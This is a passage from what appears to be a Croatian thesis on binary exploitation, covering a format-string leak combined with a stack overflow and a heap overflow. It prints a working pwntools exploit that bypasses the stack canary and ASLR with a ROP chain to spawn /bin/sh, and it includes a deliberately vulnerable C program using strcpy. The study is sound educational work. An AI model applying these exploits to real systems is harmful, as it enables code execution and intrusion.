    nil).0x7fffffffe588TEST
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe460 --> 0x54534554 ('TEST')
RBX: 0x0
RCX: 0x7ffff7f82860 --> 0xfbad2288
RDX: 0x7ffff7f853f0 --> 0x0
RSI: 0x5345 ('ES')
RDI: 0x7fffffffe461 --> 0xad00000000545345
RBP: 0x7fffffffe4a0 --> 0x555555555260 (<__libc_csu_init>:      endbr64)
RSP: 0x7fffffffe450 --> 0x7fffffffe588 --> 0x7fffffffe888 ("/home/laki/Documents/
    Faks/zavrsni/primjeri/format-string/format-string")
RIP: 0x555555555244 (<main+131>:        mov    eax,0x0)
R8 : 0x7fffffffe460 --> 0x54534554 ('TEST')
R9 : 0x0
R10: 0x7ffff7f8a500 (0x00007ffff7f8a500)
R11: 0x246
R12: 0x555555555090 (<_start>:  endbr64)
R13: 0x7fffffffe580 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----------------------------------code-----------------------------------]
   0x555555555237 <main+118>:   mov    rdi,rax
   0x55555555523a <main+121>:   mov    eax,0x0
   0x55555555523f <main+126>:   call   0x555555555060 <gets@plt>
=> 0x555555555244 <main+131>:   mov    eax,0x0
   0x555555555249 <main+136>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x55555555524d <main+140>:   xor    rdx,QWORD PTR fs:0x28
   0x555555555256 <main+149>:   je     0x55555555525d <main+156>
   0x555555555258 <main+151>:   call   0x555555555030 <__stack_chk_fail@plt>
[-----------------------------------stack-----------------------------------]
0000| 0x7fffffffe450 --> 0x7fffffffe588 --> 0x7fffffffe888 ("/home/laki/Documents/
    Faks/zavrsni/primjeri/format-string/format-string")
```

```
0008| 0x7fffffffe458 --> 0x2f7e6bba5
0016| 0x7fffffffe460 --> 0x54534554 ('TEST')
0024| 0x7fffffffe468 --> 0x5555555552ad (<__libc_csu_init+77>:  add    rbx,0x1)
0032| 0x7fffffffe470 --> 0x0
0040| 0x7fffffffe478 --> 0x0
0048| 0x7fffffffe480 --> 0x555555555260 (<__libc_csu_init>:     endbr64)
0056| 0x7fffffffe488 --> 0x555555555090 (<_start>:      endbr64)
[-------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000555555555244 in main ()
gdb-peda$ x/gx $rbp-0x8
0x7fffffffe498: 0xaf8343f838deb600
```

Iz ovog prikaza možemo zaključiti sve što nam je potrebno kako bismo zaobišli prethodno spomenute uključene sigurnosne mehanizme. Najprije, jedna od naizgled "čudnih" vrijednosti koje smo ispisali koristeći ranjivost formatiranog ispisa jest tzv. canary vrijednost na stogu. Na lokaciji `\$rbp-0x8` nalazi se canary vrijednost, koju, kad ispišemo, vidimo da je jednaka 15. po redu ispisanoj vrijednosti. Nadalje, kako bismo izračunali ostale potrebne adrese u izvršnoj datoteci, možemo iskoristi memorijsku adresu na koju pokazuje `\$rbp` registar, koja je, u ovom slučaju, jednaka 12. po redu ispisanoj vrijednosti. Iako nam se adresa spremnika ne nalazi u ispisu, na stogu se nalazi velik broj drugih pokazivača koji pokazuju na neke druge adrese na stogu. Raspon memorijskih adresa stoga možemo provjeriti naredbom `info proc mappings` te bilo koju od tih adresa možemo uzeti kako bismo izračunali pomak od odabrane adrese do našeg spremnika, a samim time i pravu adresu spremnika. U ovom slučaju, možemo uzeti prvu adresu koju smo ispisali funkcijom `printf`, a to je `0x7fffffffe588`. Kako smo prijelomnu točku postavili odmah nakon poziva `gets` funkcije, memorijska adresa našeg spremnika je `0x7fffffffe460`. Jednostavno možemo izračunati razmak između tih dviju adresa – `0x7fffffffe588 - 0x7fffffffe460 = 296`. Znači, od prve adrese koju smo ispisali iskoristivši ranjivost formatiranog zapisamo moramo oduzeti 296 bajtova kako bismo dobili adresu spremnika u kojem se nalazi naš unos.

Imamo sve potrebne vrijednosti kako bismo ovaj primjer mogli iskoristiti na sličan način kao i prošli, koristeći programiranje orijentirano na povratnim adresama, odnosno ROP. Naime, ideja je sljedeća – dohvatiti potrebne vrijednosti iskorištavanjem ranjivosti formatiranog ispisa te izračunavanjem potrebnih adresa koristeći poznate razmake na stogu i u programskom kodu, nakon toga iskoristiti preljev spremnika uzimajći u obzir canary vrijednost, a rop lanac ponoviti na sličan način, koristeći prethodno pronađenu `rop rdi, ret` isječak koda te, ovoga puta, pozivajući funkciju `exec` koja se nalazi u napisanom programskom kodu, sa argumentom `/bin/sh`, kojeg ćemo također smjestiti na stog. Prisjetimo se, isječak `pop rdi, ret` nalazi se u funkciji `__libc_csu_init`, ali su uključene nasumične bazične adrese programskog koda u virtualnoj memoriji, ne možemo na jednostavan način iskoristiti adresu koju bismo dobili statičkim rastavljanjem koda. U ovom slučaju, te adrese mogu nam jedino poslužiti za računanje razmaka između određenih adresa u istom adresnom prostoru. Ponovno, možemo rastaviti funkciju `__libc_csu_init` te izračunati razmak između potrebnog isječka i pronađene povratne adrese.

```
gdb-peda$ disas __libc_csu_init
```

```
Dump of assembler code for function __libc_csu_init:
   0x0000555555555260 <+0>:     endbr64
   0x0000555555555264 <+4>:     push   r15
   0x0000555555555266 <+6>:     lea    r15,[rip+0x2b7b]        # 0x555555557de8
   0x000055555555526d <+13>:    push   r14
   0x000055555555526f <+15>:    mov    r14,rdx
   0x0000555555555272 <+18>:    push   r13
   0x0000555555555274 <+20>:    mov    r13,rsi
   0x0000555555555277 <+23>:    push   r12
   0x0000555555555279 <+25>:    mov    r12d,edi
   0x000055555555527c <+28>:    push   rbp
   0x000055555555527d <+29>:    lea    rbp,[rip+0x2b6c]        # 0x555555557df0
   0x0000555555555284 <+36>:    push   rbx
   0x0000555555555285 <+37>:    sub    rbp,r15
   0x0000555555555288 <+40>:    sub    rsp,0x8
   0x000055555555528c <+44>:    call   0x555555555000 <_init>
   0x0000555555555291 <+49>:    sar    rbp,0x3
   0x0000555555555295 <+53>:    je     0x5555555552b6 <__libc_csu_init+86>
   0x0000555555555297 <+55>:    xor    ebx,ebx
   0x0000555555555299 <+57>:    nop    DWORD PTR [rax+0x0]
   0x00005555555552a0 <+64>:    mov    rdx,r14
   0x00005555555552a3 <+67>:    mov    rsi,r13
   0x00005555555552a6 <+70>:    mov    edi,r12d
   0x00005555555552a9 <+73>:    call   QWORD PTR [r15+rbx*8]
   0x00005555555552ad <+77>:    add    rbx,0x1
   0x00005555555552b1 <+81>:    cmp    rbp,rbx
   0x00005555555552b4 <+84>:    jne    0x5555555552a0 <__libc_csu_init+64>
   0x00005555555552b6 <+86>:    add    rsp,0x8
   0x00005555555552ba <+90>:    pop    rbx
   0x00005555555552bb <+91>:    pop    rbp
   0x00005555555552bc <+92>:    pop    r12
   0x00005555555552be <+94>:    pop    r13
   0x00005555555552c0 <+96>:    pop    r14
   0x00005555555552c2 <+98>:    pop    r15
   0x00005555555552c4 <+100>:   ret
End of assembler dump.
gdb-peda$ x/2i 0x00005555555552c3
   0x5555555552c3 <__libc_csu_init+99>: pop    rdi
   0x5555555552c4 <__libc_csu_init+100>:        ret
```

Kao što vidimo, ta instrukcija zapravo nije dio "normalnog izvođenja" funkcije `__libc_csu_init`, već je `rop-tool` tu instrukciju pronašao "pogrešnim interpretiranjem" postojećih instrukcija. Naime, na adresi `0x00005555555552c2` nalazi se instrukcija `pop r15` koja se izvodi prilikom normalnog izvođenja ove funkcije. Kako se ta instrukcija sadrži od više bajtova, počnemo li izvršavati instrukcije jedan bajt nakon početka te instrukcije, instrukcija dobiva posve drugi smisao – u ovom slučaju, instrukcija `pop r15` bez prvog bajta postaje `pop rdi`. Kako bismo saznali adresu na kojoj se nalazi ta instrukcija na svakom pokretanju programa, možemo je jednostavno iskoristiti pomoću 9. ispisane vrijednosti u formatiranom ispisu. Ta vrijednost jednaka je adresi u na koju pokazuje registar `\$rbp` te se također nalazi u funkciji `__libc_csu_init`. Razmak između tih dviju adresa jednak je `0x00005555555552c3 - 0x0000555555555260 = 99`. Znači, na vrijednost dobivene u formatiranom zapisu dodamo 98 bajtova, kako bismo došli došli do potrebnog

isječka koda. Istu stvar računamo i za `exec` funkciju, kojoj je potrebno proslijediti argument putem `rdi` registra. U ovom slučaju, adresa funkcije `gets` jednaka je `0x555555555189`, što znači da od 9. po redu vrijednost dobivene na iz formatiranog ispisa moramo oduzeti 215 bajtova. w Iste ove razmake u programskom kodu izvršne datoteke mogli smo izračunati i sa relativnim adresama dobivenim iz statičnog rastavljanja programa, npr. koristeći alat `objdump`.

Kako su uključeni svi sigurnosni mehanizmi nasumičnih adresa, ali i canary na stogu, potrebno je napravit nekakvu skriptu kako bismo prilikom svakog pokretanja programa jednostavno mogli iskoristiti ovu ranjivost. Skripta je napisana u Python programskom jeziku, koristeći biblioteku `pwntools`, koja ima različite korisne funkcije za razvoj tzv. exploita (iako ju u ovom slučaju koristimo samo za komunikaciju s pokrenutim procesom). Također, koristimo `struct` Python modul za jednostavnu konverziju heksadecimalnih vrijednost u little-endian zapis, zajedno s razmakom za null bajtove.

```
#!/usr/bin/python2
from pwn import *
import struct
program = 'a.out'

p = tubes.process.process(('./a.out', '%p.%12$p.%15$p'))

adrese = p.recv().split('.')

spremnik = int(adrese[0], 16) - 296
csu_init = int(adrese[1], 16)
canary = int(adrese[2], 16)

log.info('Spremnik -> ' + hex(spremnik))
log.info('__libc_csu_init (*rbp) -> ' + hex(csu_init))
log.info('Canary vrijednost -> ' + hex(canary))

pop_rdi = csu_init + 99
exec_system = csu_init - 215 #exec
cmd = '/bin/sh'

payload = 'A' * 56
payload += struct.pack('<Q', canary)
payload += 'AAAABBBB'
payload += struct.pack('<Q', pop_rdi)
payload += struct.pack('<Q', spremnik + len(payload) + 16)
payload += struct.pack('<Q', exec_system)
payload += cmd

log.info('Konacan payload -> ' + payload.encode('hex'))
p.sendline(payload)
p.interactive()
```

Cijela skripta relativno je jednostavna. Prvo pokreće ranjivi primjer s argumentom `%p .%12$p.%15$p` što je predožak za `printf` koji ispisuje samo prvu, 12. i 15. vrijednost pronađenu na stogu, koje bismo inače ispisali samim nizanjem `%p` oznaka.

U GNU debuggeru, to bi ispisalo sljedeće vrijednosti

```
gdb-peda$ r '%p.%12$p.%15$p'
Starting program: /home/laki/Documents/Faks/zavrsni/primjeri/format-string/format-
    string '%p.%12$p.%15$p'
0x7fffffffe5b8.0x555555555260.0x97b9d06892b5ee00
```

Podsjetimo se, to su redom sljedeće vrijednosti – memorijska adresa neke vrijednosti na stogu, pomoću koje računamo razmak do spremnika podataka za `gets` poziv, memorijska adresa početka `__libc_csu_init` funkcije, koja je jednaka adresi na koju pokazuje `\$rbp` registar te canary vrijednost na stogu. U nastavku, razdvajamo prikupljene vrijednosti te ih spremamu u tri različite varijable te odmah računamo poziciju spremnika na stogu. Nakon toga, ispisujemo sve prikupljene adrese kako bi nam bilo jasno što se točno događa. Nakon toga, računamo adrese za `pop rdi, ret` isječak koda za ROP te memorijsku lokaciju za početak `exec` funkcije, prije prethodno izračunatim razmacima. Nakon toga, sve što preostaje je pripremiti konačan ulaz funkciji `gets`. Ponovno imamo razmak od 72 znaka do return adrese, ali moramo uzeti u obzir i canary vrijednost, koju je potrebno prepisati s istom vrijednošću koju smo dobili iskorištavanjem ranjivosti formatiranog zapisa, nakon koje slijedi pokazivač za okvir stoga, koji nam u ovom slučaju nije bitan te ga također prepisujemo proizvoljnom vrijednosti. U nastavku na stog smještamo povratnu adresu za `main` funkciju, koja nam najprije pokazuje na memorijsku lokaciju isječka koda `pop rdi, ret`. Nakon toga potrebno je na stog staviti točnu adresu argumenta za `exec` funkciju, koju jednostavno možemo izračunati koristeći memorijsku lokaciju početka spremnika, trenutne veličine ulaza te dodati 16 bajtova za iduće dvije vrijednosti na stogu, uključujući ovu. Potrebno je još samo na stog staviti izračunatu memorijsku adresu `exec` funkcije te konačno sami argument za `exec` funkciju, koji je `/bin/sh`. Konačno, sve što preostaje je poslati konstruiran ulaz te otvoriti interaktivnu komunikaciju s procesom.

```
[laki format-string]$ ./exploit.py
[+] Starting local process './a.out': pid 1709330
[*] Spremnik -> 0x7ffd64c5b0a0
[*] __libc_csu_init (*rbp) -> 0x55d3ee06e260
[*] Canary vrijednost -> 0x329f4c593949100
[*] Konacan payload ->
41414141414141414141414141414141414141414141414141
41414141414141414141414141414141414141414141414141
41414141414141414141414100919493c5f429034141414142
424242c3e206eed355000000b1c564fd7f000089e106ee
d35500002f62696e2f7368
[*] Switching to interactive mode
Izvrsavam - /bin/sh!
$ pstree -p 1709330
a.out(1709330)---sh(1709342)---pstree(1709452)
```

Kao što vidimo, ranjivost je uspješno iskorištena te smo uspjeli pokrenuti ljusku operacijskog sustava.

Format string ranjivosti predstavljaju ozbiljan sigurnosni problem, pomoću kojega je vrlo jednostavno "zaobići" velik broj različitih sigurnosnih mehanizama. Osim problema s "curenjem" podataka sa stoga, velik problem predstavlja i mogućnost zapisivanja proizvoljnih poda-

taka u memoriju. Naime, oznaka formata `%n` koristi proslijeđeni argument kao pokazivač na cijelobrojni tip podatka te na tu memorijsku lokaciju pohranjuje broj znakova koji su ispisani trenutnim `printf` pozivom. Takvu funkcionalnost moguće je iskoristiti kod ranjivog poziva `printf` funkciji te na proizvoljno mjesto u memoriji (na koje je dozvoljeno zapisivati podatke) zapisati također proizvoljne podatke. To također predstavlja ozbiljan sigurnosni problem jer je napadač u mogućnosti prepisati gotovo bilo kakve podatke u virtualnoj memoriji programa na segmentima na kojima je dozvoljeno zapisivati podatke (poput hrpe, stoga, globalne tablice razmaka i slično).

3.4. Prevljev spremnika na hrpi

Memoijski segment hrpe koristi se za gotovo sve objekte, strukture i vrijednosti za koje nam je ili potrebno više mjesta u memoriji ili za objekte za koje nam je potreban dulji "životni vijek" (podaci na stoga se nakon izlaza iz funkcije "dealociraju", promjenom okvira stoga). Kako je stog gotovo uvijek ograničene, relativno male, veličine, vrlo često imamo potrebu pohranjivati podatke na hrpu. Hrpa, za razliku od stoga, ima mogućnost dinamične promjene veličine (koristeći `brk` sistemski poziv) te nam je jedino ograničenje ukupna slobodna memorija sustava. [14] Iako se hrpa uvelike razlikuje od stoga, koncept preljeva spremnika u suštini relativno je sličan. Naime, iako je hrpa na neki način složenije strukture od stoga, cilj nam ostaje isti, iskoristiti preljev spremnika tako da na hrpi prepišemo važne podatke kojima bismo mogli promijeniti tijek programa. Na primjeru prikazati ćemo jednostavan preljev spremnika na hrpi te jedan od načina na koji bismo potencijalno mogli promijeniti tijek programa, bez da previše ulazimo u strukturu hrpe te načina rada `malloc` funkcije.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct korisnik{
    int dob;
    char* ime;
} korisnik;

void ljuska(){
    system("/bin/sh");
}

int main(int argc, char** argv){
    korisnik* korisnik1 = (korisnik*) malloc(sizeof(korisnik));
    korisnik1->dob = 22;
    korisnik1->ime = malloc(50);

    korisnik* korisnik2 = (korisnik*) malloc(sizeof(korisnik));
    korisnik2->dob = 21;
    korisnik2->ime = malloc(50);

    strcpy(korisnik1->ime, argv[1]);
    strcpy(korisnik2->ime, argv[2]);
```

```
    printf("Pozdrav, %s i %s!\n", korisnik1->ime, korisnik2->ime);

    return 0;
}
```

Primjer je relativno jednostavan te prikazuje suštinu sigurnosnog problema kada u kodu imamo mogućnost preljeva podataka na hrpi. Najprije definiramo strukturu nekakvog korisnika aplikacije, koja samo sadrži cijelobrojnu vrijednost tipa `int` za pohranjivanje dobi korisnika, kao i pokazivač na string koji sadrži ime korisnika. Nakon toga, definiramo funkciju `ljuska` koja pokreće ljusku operacijskog sustava i koju nam je cilj pozvati. Glavni dio programa započinje alokacijom memorijskog prosotra za strukturu prvog korisnika, koristeći funkciju `malloc`, koja upravlja te alocira memorijski prostor na hrpi. Koristeći funkciju `sizeof` na hrpi alociramo točan broj bajtova za pohranu strukture korisnika. Nakon toga, tom korisniku pridružujemo vrijednost za dob te funkcijom `malloc` alociramo dodatnih 50 bajtova memorije na hrpi za pohranu imena korisnika te dobivenu adresu spremamo u pokazivač `ime` u alociranoj strukturi korisnika. Isti proces ponavljamo i za drugog korisnika. U nastavku, koristeći funkciju `strcpy`, kopiramo podatke proslijeđene kao argumente programu na memorijsku lokaciju na koju pokazuje pokazivač `ime` u alociranim strukturama korisnika. Na kraju ispisujemo pozdravnu poruku te izlazimo iz programa.

Program kompajliramo sa `gcc preljev-na-hrpi.c -no-pie -o preljev-na-hrpi`. U ovom primjeru također onemogućavamo nasumične bazične adrese programskog koda, kako bismo jednostavnije pokazali samu srž ovog sigurnosnog propusta. ASLR, NX bit i canary vrijednost ostaju omogućeni.

Kako bismo dobili generalnu ideju o strukturi ovih podataka na stogu, u GNU debuggeru možemo postaviti prijelomnu točku nakon `strcpy` poziva te provjeriti stanje hrpe.

```
gdb-peda$ b* 0x000000000040120e
Breakpoint 2 at 0x40120e
gdb-peda$ r Martin Andrea
Starting program: /home/laki/Documents/Faks/zavrsni/primjeri/heap/preljev-na-hrpi
    Martin Andrea
[----------------------------------registers-----------------------------------]
RAX: 0x4052e0 --> 0x616572646e41 ('Andrea')
RBX: 0x0
RCX: 0x616572 ('rea')
RDX: 0x6
RSI: 0x7fffffffe924 --> 0x4400616572646e41 ('Andrea')
RDI: 0x4052e0 --> 0x616572646e41 ('Andrea')
RBP: 0x7fffffffe4f0 --> 0x401240 (<__libc_csu_init>:    endbr64)
RSP: 0x7fffffffe4d0 --> 0x7fffffffe5d8 --> 0x7fffffffe8dc ("/home/laki/Documents/
    Faks/zavrsni/primjeri/heap/preljev-na-hrpi")
RIP: 0x40120e (<main+165>:      mov    rax,QWORD PTR [rbp-0x8])
R8 : 0x4052e0 --> 0x616572646e41 ('Andrea')
R9 : 0x7ffff7f82b00 --> 0x405310 --> 0x0
R10: 0xfffffffffffff1af
R11: 0x7ffff7f26180 (<__strcpy_avx2>:   endbr64)
R12: 0x401070 (<_start>:        endbr64)
```

```
R13: 0x7fffffffe5d0 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401203 <main+154>: mov    rsi,rdx
   0x401206 <main+157>: mov    rdi,rax
   0x401209 <main+160>: call   0x401030 <strcpy@plt>
=> 0x40120e <main+165>: mov    rax,QWORD PTR [rbp-0x8]
   0x401212 <main+169>: mov    rdx,QWORD PTR [rax+0x8]
   0x401216 <main+173>: mov    rax,QWORD PTR [rbp-0x10]
   0x40121a <main+177>: mov    rax,QWORD PTR [rax+0x8]
   0x40121e <main+181>: mov    rsi,rax
[-------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4d0 --> 0x7fffffffe5d8 --> 0x7fffffffe8dc ("/home/laki/Documents/
    Faks/zavrsni/primjeri/heap/preljev-na-hrpi")
0008| 0x7fffffffe4d8 --> 0x300401070
0016| 0x7fffffffe4e0 --> 0x405260 --> 0x16
0024| 0x7fffffffe4e8 --> 0x4052c0 --> 0x15
0032| 0x7fffffffe4f0 --> 0x401240 (<__libc_csu_init>:   endbr64)
0040| 0x7fffffffe4f8 --> 0x7ffff7decee3 (<__libc_start_main+243>:       mov    edi,
    eax)
0048| 0x7fffffffe500 --> 0x0
0056| 0x7fffffffe508 --> 0x7fffffffe5d8 --> 0x7fffffffe8dc ("/home/laki/Documents/
    Faks/zavrsni/primjeri/heap/preljev-na-hrpi")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x000000000040120e in main ()
gdb-peda$ info proc mappings
process 2854650
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/laki/Documents/
                Faks/zavrsni/primjeri/heap/preljev-na-hrpi
            0x401000           0x402000     0x1000     0x1000 /home/laki/Documents/
                Faks/zavrsni/primjeri/heap/preljev-na-hrpi
            0x402000           0x403000     0x1000     0x2000 /home/laki/Documents/
                Faks/zavrsni/primjeri/heap/preljev-na-hrpi
            0x403000           0x404000     0x1000     0x2000 /home/laki/Documents/
                Faks/zavrsni/primjeri/heap/preljev-na-hrpi
            0x404000           0x405000     0x1000     0x3000 /home/laki/Documents/
                Faks/zavrsni/primjeri/heap/preljev-na-hrpi
            0x405000           0x426000    0x21000        0x0 [heap]
      0x7ffff7dc6000     0x7ffff7deb000    0x25000        0x0 /usr/lib/libc-2.29.so
      0x7ffff7deb000     0x7ffff7f35000   0x14a000    0x25000 /usr/lib/libc-2.29.so
      0x7ffff7f35000     0x7ffff7f7e000    0x49000   0x16f000 /usr/lib/libc-2.29.so
      0x7ffff7f7e000     0x7ffff7f7f000     0x1000   0x1b8000 /usr/lib/libc-2.29.so
      0x7ffff7f7f000     0x7ffff7f82000     0x3000   0x1b8000 /usr/lib/libc-2.29.so
      0x7ffff7f82000     0x7ffff7f85000     0x3000   0x1bb000 /usr/lib/libc-2.29.so
      0x7ffff7f85000     0x7ffff7f8b000     0x6000        0x0
      0x7ffff7fce000     0x7ffff7fd1000     0x3000        0x0 [vvar]
```

```
      0x7ffff7fd1000     0x7ffff7fd2000     0x1000        0x0 [vdso]
      0x7ffff7fd2000     0x7ffff7fd4000     0x2000        0x0 /usr/lib/ld-2.29.so
      0x7ffff7fd4000     0x7ffff7ff3000    0x1f000     0x2000 /usr/lib/ld-2.29.so
      0x7ffff7ff3000     0x7ffff7ffb000     0x8000    0x21000 /usr/lib/ld-2.29.so
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x29000 /usr/lib/ld-2.29.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2a000 /usr/lib/ld-2.29.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]

gdb-peda$ x/50gx 0x405200
0x405200:       0x0000000000000000      0x0000000000000000
0x405210:       0x0000000000000000      0x0000000000000000
0x405220:       0x0000000000000000      0x0000000000000000
0x405230:       0x0000000000000000      0x0000000000000000
0x405240:       0x0000000000000000      0x0000000000000000
0x405250:       0x0000000000000000      0x0000000000000021
0x405260:       0x0000000000000016      0x0000000000405280
0x405270:       0x0000000000000000      0x0000000000000041
0x405280:       0x00006e697472614d      0x0000000000000000
0x405290:       0x0000000000000000      0x0000000000000000
0x4052a0:       0x0000000000000000      0x0000000000000000
0x4052b0:       0x0000000000000000      0x0000000000000021
0x4052c0:       0x0000000000000015      0x00000000004052e0
0x4052d0:       0x0000000000000000      0x0000000000000041
0x4052e0:       0x0000616572646e41      0x0000000000000000
0x4052f0:       0x0000000000000000      0x0000000000000000
0x405300:       0x0000000000000000      0x0000000000000000
0x405310:       0x0000000000000000      0x0000000000020cf1
0x405320:       0x0000000000000000      0x0000000000000000
0x405330:       0x0000000000000000      0x0000000000000000
0x405340:       0x0000000000000000      0x0000000000000000
0x405350:       0x0000000000000000      0x0000000000000000
0x405360:       0x0000000000000000      0x0000000000000000
0x405370:       0x0000000000000000      0x0000000000000000
0x405380:       0x0000000000000000      0x0000000000000000
```

Kao argumente programu unijeli smo imena Martin i Andrea, koje postavljamo kao imena u strukturi korisnika. Kao što vidimo iz ispisa naredbe `info proc mappings`, memorijski prostor hrpe počinje na adresi `0x405000` te možemo vidjeti da su naši pozivi `malloc` funkcije rezultirali alociranim memorijskim prostorom na hrpi, počevši od adrese `0x405260`. Svaki blok memorije na hrpi alociran pozivom `malloc` funkcije zapravo sadrži dodatne podatke koje `malloc`, kao i `free` koristi za upravljanje hrpom. Na primjer, prije nama dodijeljenog memorijskog prostora za korištenje, na hrpi možemo vidjeti vrijednost `0x21`, odnosno 33 u decimalnom sustavu. Ta vrijednost predstavlja veličinu bloka koju je `malloc` alocirao. Isprva nam se možda ta vrijednost čini čudna, jer nam je za strukturu korisnika potrebno samo 12 bajtova (4 bajta za `int` vrijednost za dob te 8 bajtova za pokazivač na string), ali moramo uzeti u obzir da je hrpa tzv. memorijski poravnata, što znači da će veličina alociranog bloka u bajtovima uvijek biti dijeljiva sa veličinom riječi te arhitekture, u ovom slučaju sa 8. Također, veličina bloka uzima u obzir i veličinu zaglavlja memorijskog bloka alociranog na hrpi. Osim toga, najmanje značajan bit veličine memorijskog bloka (koji predstavlja vrijednost 1) koristi se za indikaciju toga je li prethodni

blok na hrpi slobodan. U ovom slučaju, kako vrijednost 33 u binarnom brojevnom sustavu ima postavljen najmanji značajan bit, možemo zaključiti da prethodni blok na hrpi nije slobodan, a prava veličina tog bloka je onda 32. Nakon toga, jasno vidimo vrijednost `0x15` (21 u decimalnom brojevnom sustavu), što odgovara atributu dobi prve alocirane strukture korisnika. Nakon dobi nalazimo i pokazivač za ime korisnika, koji pokazuje na adresu `0x405280`, na kojoj se nalazi string "Martin". Isto vrijedi i za drugu alociranu, inicijaliziranu strukturu korisnika koja, ne uzevši u obzir zaglavlje memorijskog bloka hrpe, započine na adresi `0x4052c0`.

Iz programskog koda jednostavno možemo vidjeti ranjivost ovog programa, koja se nalazi u pozivu `strcpy` funkcije. Naime, za ime svakoga od korisnika alociramo 50 bajtova na hrpi, a imena kopiramo nesigurnom funkcijom `strcpy` iz argumenata programu na mjesta alocirana na hrpi, ne uzimajući u obzir stvarnu dužinu imena koje je korisnik unio, koja mogu biti duža od 50 znakova. Samim time, možemo "preplaviti" druge podatke na hrpi, koji se nalaze nakon tih podatka na hrpi. Funkcija `strcpy` kopira string zadan u drugom argumentu na memorijsku adresu na koju pokazuje pokazivač zadan u prvom argumentu. U ovom slučaju, to implicira mogućnost zapisivanja podataka na proizvoljnu adresu drugim pozivom `strcpy` funkcije, ukoliko prvim pozivom iste funkcije prepišemo pokazivač imena u strukturi `korisnik2`. Kako se string prvog imena nalazi na lokaciji `0x405280`, a pokazivač na ime korisnika druge alocirane strukture `korisnik2` nalazi na adresi `0x4052c8` kako bismo prepisali pokazivač imena drugog korisnika potrebno nam je `0x4052c8 - 0x405280 = 72` bajta. Uzimajući u obzir da preljevom ovih informacija na hrpi možemo kontrolirati drugi poziv `strcpy` prva ideja nam je prepisati povratnu adresu `main` funkcije kako bismo promijenili tok programa, ali moramo uzeti u obzir da je ASLR uključen te je stog učitan na nasumičnoj adresi u virtualnoj memoriji, što znači da ne znamo adresu na kojoj se nalazi povratna adresa te funkcije na stogu. Jedina opcija koja nam preostaje je prepisati adresu u tzv. globalnoj tablici razmaka, odnosno ofseta.

Kako gotovo svaki izvršni program koristi nekakave vanjske, dijeljene biblioteke, koje se učitavaju tek prilikom pokretanja programa. Uzmimo, na primjer, tzv. libc, odnosno C standardnu biblioteku. C standardna biblioteka je tzv. dijeljeni objekt te se učitava u svaki C program, jer je nužna za izvođenje svakog programa. Ta dijeljena biblioteka ne nalazi se u samom izvršnom programu, nego se "povezuje" sa izvršnom datotekom u vremenu povezivanja izvršne datoteke (eng. *link-time*). Kako bismo mogli izvršiti program koji koristi dijeljene biblioteke, već tijekom kompajliranja moramo znati gdje smjestiti te pozive funkcija iz dijeljenih datoteka. Tu se koristi tzv. proceduralna tablica povezivanja (eng. *Procedural Linkage Table*, kraće PLT). Za svaku koju koristimo u programu, a koja se nalazi u vanjskoj, dijeljenoj biblioteci, PLT generira svega par instrukcija koje se koriste za učitavanja i "skakanje" na pravu adresu korištene funkije u virtualnoj memoriji, a koje koriste tzv. globalnu tablicu razmaka, odnosno ofseta (eng. *Global Table Offset*). Globalna tablicu tablicu razmaka koristi tzv. linker za relokaciju dijeljenih segmenta izvršne datoteke te ju, prema potrebi, popunjava pravim, absolutnim adresama korištenih funkcija u virtualnoj memoriji. Prilikom prvog poziva određene funkcije, PLT dohvaća pravu adresu te funkcije u virtualnoj memoriji te ju zapisuje u globalnu tablicu razmaka. Svakim sljedećim pozivom te funkcije, koristi se adresa zapisana u globalnoj tablici razmaka. [15]

Kako je globalna tablica jedan od segmenata izvršnog programa koji koristi vanjske biblioteke, a za potrebe "popunjavanja" i relociranja adresa funkcija vanjskih biblioteke je ta-

kođer i segment na kojem imamo dopuštenja zapisivati podatke, možemo vrlo brzo zaključiti da globalna tablica razmaka jako koristan segment izvršne datoteke za iskorištavanje ranjivosti gdje imamo mogućnost prepisivanja podataka. U ovom slučaju, kako imamo samo jedan poziv `printf` funkcije koji se nalazi na kraju programa, zaključujemo da bismo vrlo jednostavno mogli prepisati adresu za `printf` u globalnoj tablici razmaka te prevariti linker da je adresa za `printf` već dohvaćena te nama poznata. Program će tada jednostavno pozvati funkciju na koju pokazuje odgovarajući unos na globalnoj tablici ofseta. Rastavljanjem PLT sekcije za `printf` poziv jednostavno možemo pronaći njegovo mjestu u globalnoj tablici razmaka.

```
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000401169 <+0>:     push   rbp
   0x000000000040116a <+1>:     mov    rbp,rsp
   0x000000000040116d <+4>:     sub    rsp,0x20
   0x0000000000401171 <+8>:     mov    DWORD PTR [rbp-0x14],edi
   0x0000000000401174 <+11>:    mov    QWORD PTR [rbp-0x20],rsi
   0x0000000000401178 <+15>:    mov    edi,0x10
   0x000000000040117d <+20>:    call   0x401060 <malloc@plt>
   0x0000000000401182 <+25>:    mov    QWORD PTR [rbp-0x10],rax
   0x0000000000401186 <+29>:    mov    rax,QWORD PTR [rbp-0x10]
   0x000000000040118a <+33>:    mov    DWORD PTR [rax],0x16
   0x0000000000401190 <+39>:    mov    edi,0x32
   0x0000000000401195 <+44>:    call   0x401060 <malloc@plt>
   0x000000000040119a <+49>:    mov    rdx,rax
   0x000000000040119d <+52>:    mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004011a1 <+56>:    mov    QWORD PTR [rax+0x8],rdx
   0x00000000004011a5 <+60>:    mov    edi,0x10
   0x00000000004011aa <+65>:    call   0x401060 <malloc@plt>
   0x00000000004011af <+70>:    mov    QWORD PTR [rbp-0x8],rax
